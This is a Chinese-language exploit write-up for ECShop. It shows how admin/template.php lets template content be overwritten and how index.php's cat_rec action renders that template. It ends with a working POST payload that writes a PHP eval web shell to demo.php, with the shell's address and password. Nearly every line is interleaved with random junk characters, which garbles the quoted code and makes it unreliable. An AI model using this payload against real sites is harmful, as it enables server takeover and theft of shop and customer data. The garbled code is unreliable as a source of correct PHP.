首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
# L+ l, e) p5 w) g( ]9 g( U& k, b1 _( k9 X) `& ?
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 \9 r) F' B+ m( F2 e1 b# O但是ecshop似乎不支持{php}{/php}这个标签来执行php代码% v2 Y' J! f% W5 V
admin/template.php$ u7 e" H# p* x. x. {0 m$ B: w( U
4 }; r6 f4 g7 Y( h/ \4 I1 if ($_REQUEST['act'] == 'update_library') A% _# U0 ?: X. C
# M- Z/ g5 }+ o. B, A; N# w( D/ J
2
: }2 `! q0 l$ P$ q: x6 z
( z) U* }' v( I5 f2 \3 {
8 Y) F8 X& O. a, Q
V' m# R) u% b: T% b2 t1 L, \5 A. ]4 check_authz_json('library_manage'); ! d0 \2 ^5 k0 H& e- x) \0 U
4 ], Y% n; \& |8 L W6 H* Z5
, ?5 C- X g/ l/ @1 Y2 Y5 q+ x1 p" ?& ~, x( U2 F+ c
6 $html = stripslashes(json_str_iconv($_POST['html']));
0 y7 c# w$ {9 I& p$ Y7 W0 F0 u% ^4 q. |
7
3 V& _2 i! N4 E; o
# ?' K2 n# M; P& n# j0 f8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 * L8 q, B3 q+ W! r3 M1 ^
) H* U1 Q* P: W# G
9
" O5 G) m+ s( T; Q3 b: i J7 ^ V4 w! d+ ?
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 * g5 o- N! e+ H
/ U3 A) ~5 r2 B; u. T( r3 w$ [11
1 ^* L7 @2 l- w, D, y) V+ n5 i0 P& x2 d
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
2 h# j! X: J2 Q' ~ E4 @
+ |' Z9 M& o2 p* m13
" \- d. u/ ^7 N& @% ?" E8 V
9 Q! N: g1 R3 V7 g; P3 P1 O1 q( J+ i14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ i4 }5 {$ h; O5 S- p; O g2 c
2 M* J1 C! B g8 d15 { ( i* a9 K/ Z9 c# S/ }
6 U9 I% ?0 ? \9 J& q D/ Y1 n. p4 Z16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# E/ p5 w- C. r0 C! U& Z+ B2 N7 z) L3 b. U* Q
17 make_json_result('', $_LANG['update_lib_success']); 1 p- r# y; b/ k* |8 O+ ~
4 y4 F4 Z2 g3 q- o# u9 L
18 } ' I' n" _2 i) v) ^6 K9 X
2 M0 l; Y. `9 V! D5 Y19 else & N0 q) T( z& C( t5 h
% D9 s: r0 m% h1 a1 F20 {
; J( J: Z- F6 Q! I1 {) R# l
7 B i9 P, e% n$ g# f8 m21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); - |3 s1 u% I; L+ I% z/ s
; m/ N3 d% G: y$ C8 `
22 } 7 Y. p( C, ?$ m9 b
' n. S6 A/ n' m) E
23 } 8 a- h7 u. |6 f7 N* v
+ z: o& y8 }! P: V: i. ^那么找个比较方便调用了模板的文件$ u8 S9 W" I h
index.php* ^$ ~6 ^) A# K1 N/ g6 K
1 p7 k2 n" C. Y+ a, B
1 if ($act == 'cat_rec')
$ E& |6 q6 w( ]
E8 J' W$ j% O! ]3 a2
4 U2 A k- U$ p& ]
; B+ c- W$ o$ T: V) f( z3 {
: f5 W+ y2 |& U2 Z# w# Y- x' w# N+ ]* T" G- q
4
7 H3 S X2 i. R5 c3 x; w% |$ m# E2 |2 ?, t; l
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
. P, F. T5 ]6 ]# S
5 T( |( I8 ~$ J( v1 G( z6 / r8 B% @$ J8 R5 C. _
# D8 e2 Z( X: [9 G& H
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
& ~8 X" l. V, h6 t$ j
$ r# ]$ ~0 q& c/ Y- ~ m8
8 n9 [( o6 ?$ G; j5 x: m+ |7 _
5 s: _1 g- Y% S4 b3 y, d& S) X9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
9 i! K$ s4 T+ y% ^3 @" d8 c
1 _( m$ {) q( Y' a10 # C& }3 |, A8 L
! c7 e u* Q6 j" k l11 include_once('includes/cls_json.php');
/ U: k5 T# X1 @& V/ r+ A: w: z7 w3 h4 F6 M( {( Z3 q* J0 N
12 # v: J1 r2 M* |, X2 c# c9 W
# F! g/ J7 U7 { A& R& X! C
13 $json = new JSON; / \0 Y; F. s2 H
# j9 n' d) H/ B2 p/ ~0 ]$ q
14 # R1 U* a( f* x1 m# e* j1 A% N
1 h" N( {2 C1 w9 Y- O& p7 M5 j6 I) ]
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); {; a9 o9 }7 Q% f3 m. u, S. @: K' S
! w" c6 {! ^$ _$ D- o& d) k' |
16 & x; b+ W* z' ?3 n$ ^! {2 H
! T S" v' s+ A4 F
17 $children = get_children($cat_id); ' V. X; f' B* k8 Y/ P
5 ?: g! N5 ? C6 W+ l9 E6 L" Y2 q6 q18
4 @& S. U9 ]' K. Z5 }
* ?8 X7 k9 ?/ T/ X: d19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 1 Y% K% K9 N; r g
9 j4 ? Q& T* S% D, h20
7 U/ o7 q# \7 i. Z! G1 w+ K
1 L3 A5 }. f* e21 $smarty->assign('cat_rec_sign', 1); % k% m) ~3 ]- q1 U
/ _/ j7 ]7 d8 U$ p
22
4 v6 G! |/ j8 G) u' V1 m9 l3 t
3 R: @/ ?/ i% P$ b5 W: j23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
& l3 I! T- c: i7 H7 _7 t4 n! ?* G- E- V: U0 b4 ]
24
1 i* x/ d: M7 j7 J' \; X" F
R* E% W( a5 J7 T/ H8 q25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
( z/ S! Y9 D w. e
( p& S' W1 B! ~, K- J9 j1 h1 m26 . m# x. x4 v8 @' a/ k
7 n9 @- {2 D6 R2 U9 a
27 echo $rec_array[$rec_type]; 2 p7 s% _: g% f" k; O$ Z
% V+ H+ ]0 z1 M" ]
28 ) o# Y7 f0 V& Y
T" e6 [# Q. N% g0 }29 die($json->encode($result)); ( `/ ?% B+ w3 q& N, W7 B
6 {* U5 t7 B9 p) ]
30 % U) F' a1 O* f
: B5 V& {+ J! g6 H31 } / r' H1 k4 T) U1 ?" h* B: p
5 X/ v1 d5 q+ n t) E那么就有利用方法了7 b) w- Z5 {) k1 x1 Z u
post包到http://localhost/ec/admin/template.php?act=update_library
8 L& n2 D& Y4 Z! Z8 vPost内容:
) w& d- A: @% G9 ]# o, I) [2 e' a4 `5 c; }8 M, e2 t
8 O; }% P( `. u8 {6 Z9 p1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} * `; G: [1 V$ J9 y/ x6 t) c
, I4 z2 \5 D9 {2 z5 z/ d- Y
然后访问http://localhost/ec/index.php?act=cat_rec3 e9 q! g( f) w5 Y8 |& `
( a# C2 V- ]" t6 ?2 M. lshel地址:http://localhost/ec/demo.php1 i# x7 I/ j3 X! S3 M9 R) J6 |3 ^
密码c
* [0 K% Q0 P( y3 W8 W$ R! ?, ?
/ V. A8 l5 L2 X( F |